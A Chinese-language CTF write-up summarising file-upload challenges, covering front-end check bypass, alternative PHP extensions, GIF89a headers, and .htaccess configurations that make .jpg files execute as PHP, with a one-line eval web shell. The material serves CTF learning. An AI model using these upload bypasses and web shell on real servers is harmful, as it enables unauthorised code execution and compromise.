前言:
CTF下的文件上传考法也有很多种,结合做过的题目进行一个总结。
[ACTF2020 新生赛]Upload
——后缀名绕过
有JS代码在前端验证,先上传要求的格式再通过抓包修改后缀名
看来php后缀被过滤了,可以尝试其他后缀名
php常用后缀名如下:
# php2,php3、php4、php5、phtml、phtm
代替php后缀
phtml和phtm后缀即可上传进行,下面就是连接查看flag了
类似题目:
[极客大挑战 2019]Upload
[GXYCTF2019]BabyUpload
——图片马
经过测试只有jpg后缀的图片可以上传进行,利用php后缀名无法绕过,大小写也无法绕过,那就通过上传.htaccess
文件来解析上传的jpg图片
上传成功,下面传入jpeg马连接即可
补充一下上传姿势和.htaccess 文件上传
#上传姿势
添加gif89a的头
<script language=”php”>
php2,php3、php4、php5、phtml、phtm代替php后缀
传.htaccess
截断上传
#.htaccess文件上传
#方法一:
# FileMatch 参数即为文件名的正则匹配
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
// 1.jpg
<?php eval($_GET['a']);?>
#方法二:
AddType application/x-httpd-php .jpg
// 1.jpg
<?php eval($_GET['a']);?>
类似题目:
[MRCTF2020]你传你🐎呢
[RoarCTF 2019]Simple Upload
——条件竞争、Thinkphp的文件上传、脚本上传
很明显就是Thinkphp的代码,查到thinkphp的手册
ThinkPHP3.2完全开发手册
查资料发现Thinkphp默认上传路径是/home/index/upload
这道题没有上传点,应该是要自己编写脚本上传进去,可以参考师傅的文章去写